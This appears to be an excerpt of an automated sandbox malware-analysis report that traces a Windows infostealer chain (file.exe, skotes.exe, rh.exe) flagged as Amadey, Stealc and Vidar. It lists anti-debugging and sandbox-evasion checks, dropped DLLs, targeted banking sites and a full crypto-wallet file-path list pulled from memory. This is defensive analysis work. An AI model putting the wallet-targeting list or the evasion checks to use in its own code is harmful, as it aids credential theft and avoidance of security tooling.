0x0000004d mov edi, dword ptr [ebp+122D38FEh] 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 jnp 00007F3EDCBDB9A6h 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 414E41 second address: 414E46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 41A279 second address: 41A27E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 41B24B second address: 41B255 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3EDD0B924Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D87999 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Special instruction interceptor: First address: 25E99E instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Special instruction interceptor: First address: 403A68 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Special instruction interceptor: First address: 42BD6A instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Special instruction interceptor: First address: 40DA0C instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Special instruction interceptor: First address: 4958B2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: C9E99E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: E43A68 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: E6BD6A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: E4DA0C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: ED58B2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008589001\rh.exe	Special instruction interceptor: First address: DA2B2D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008589001\rh.exe	Special instruction interceptor: First address: F41D13 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008589001\rh.exe	Special instruction interceptor: First address: F53F64 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1008589001\rh.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1008589001\rh.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1008589001\rh.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsJDGCGHCGHC.exe

Code function: 28_2_04BF02F4 rdtsc

28_2_04BF02F4

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 5228	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5228	Thread sleep time: -68034s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5504	Thread sleep time: -52026s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6748	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6724	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5688	Thread sleep time: -54027s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8748	Thread sleep count: 71 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8748	Thread sleep time: -2130000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8748	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsJDGCGHCGHC.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CA8EBF0 PR_GetNumberOfProcessors,GetSystemInfo,

1_2_6CA8EBF0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000020.00000002.3437351427.0000000000E26000.00000040.00000001.01000000.0000000D.sdmp, rh.exe, 00000022.00000002.3437518669.0000000000F25000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: JJDGIIDH.1.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: JJDGIIDH.1.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: JJDGIIDH.1.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: JJDGIIDH.1.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: JJDGIIDH.1.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: JJDGIIDH.1.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: JJDGIIDH.1.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: file.exe, 00000001.00000002.2725070712.0000000001112000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000020.00000002.3438975021.00000000012EA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000001.00000002.2725070712.0000000001112000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW&
Source: JJDGIIDH.1.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: JJDGIIDH.1.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: JJDGIIDH.1.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: JJDGIIDH.1.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: JJDGIIDH.1.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: JJDGIIDH.1.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: JJDGIIDH.1.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: JJDGIIDH.1.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: JJDGIIDH.1.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: JJDGIIDH.1.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: JJDGIIDH.1.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: JJDGIIDH.1.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: JJDGIIDH.1.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: JJDGIIDH.1.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: JJDGIIDH.1.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: JJDGIIDH.1.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000001.00000002.2725070712.000000000109E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: JJDGIIDH.1.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: JJDGIIDH.1.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: file.exe, 00000001.00000002.2725070712.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH
Source: JJDGIIDH.1.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: file.exe, 00000001.00000002.2745809608.00000000234D3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\L&b
Source: file.exe, 00000001.00000002.2745809608.00000000234D3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: JJDGIIDH.1.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: JJDGIIDH.1.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: JJDGIIDH.1.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000001.00000002.2724509110.0000000000CDB000.00000040.00000001.01000000.00000003.sdmp, DocumentsJDGCGHCGHC.exe, 0000001C.00000002.2768205129.00000000003E6000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000001D.00000002.2817290467.0000000000E26000.00000040.00000001.01000000.0000000D.sdmp, skotes.exe, 0000001E.00000002.2817686607.0000000000E26000.00000040.00000001.01000000.0000000D.sdmp, skotes.exe, 00000020.00000002.3437351427.0000000000E26000.00000040.00000001.01000000.0000000D.sdmp, rh.exe, 00000022.00000002.3437518669.0000000000F25000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: skotes.exe, 00000020.00000002.3438975021.00000000012B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: JJDGIIDH.1.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: JJDGIIDH.1.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008589001\rh.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\DocumentsJDGCGHCGHC.exe

Code function: 28_2_04BF0363 Start: 04BF03E5 End: 04BF032F

28_2_04BF0363

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1008589001\rh.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008589001\rh.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1008589001\rh.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008589001\rh.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1008589001\rh.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008589001\rh.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1008589001\rh.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008589001\rh.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1008589001\rh.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1008589001\rh.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1008589001\rh.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008589001\rh.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008589001\rh.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsJDGCGHCGHC.exe

Code function: 28_2_04BF02F4 rdtsc

28_2_04BF02F4

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CB5AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_6CB5AC62

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_00C6652B mov eax, dword ptr fs:[00000030h]		32_2_00C6652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_00C6A302 mov eax, dword ptr fs:[00000030h]		32_2_00C6A302

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CB5AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_6CB5AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 884, type: MEMORYSTR

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJDGCGHCGHC.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsJDGCGHCGHC.exe "C:\Users\user\DocumentsJDGCGHCGHC.exe"
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008589001\rh.exe "C:\Users\user\AppData\Local\Temp\1008589001\rh.exe"

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CBA4760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

1_2_6CBA4760

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CA81C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

1_2_6CA81C30

Source: file.exe	Binary or memory string: Nz Program Manager
Source: file.exe, 00000001.00000002.2724509110.0000000000CDB000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CB5AE71 cpuid

1_2_6CB5AE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008589001\rh.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008589001\rh.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CB5A8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

1_2_6CB5A8DC

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 32_2_00C365E0 LookupAccountNameA,

32_2_00C365E0

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CAA8390 NSS_GetVersion,

1_2_6CAA8390

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 30.2.skotes.exe.c30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.skotes.exe.c30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.DocumentsJDGCGHCGHC.exe.1f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.skotes.exe.c30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001D.00000003.2773428393.0000000004A80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2817525891.0000000000C31000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2775957825.0000000004810000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2765391942.00000000001F1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2723817115.00000000049F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2817104991.0000000000C31000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.3283014873.0000000004CD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3436986660.0000000000C31000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000001.00000002.2724080471.0000000000901000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2725070712.000000000109E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2201312875.0000000004D50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 884, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 884, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000001.00000002.2725070712.0000000001112000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2724080471.0000000000984000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: file.exe, 00000001.00000002.2725070712.0000000001112000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2724080471.0000000000984000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Desktop (old)
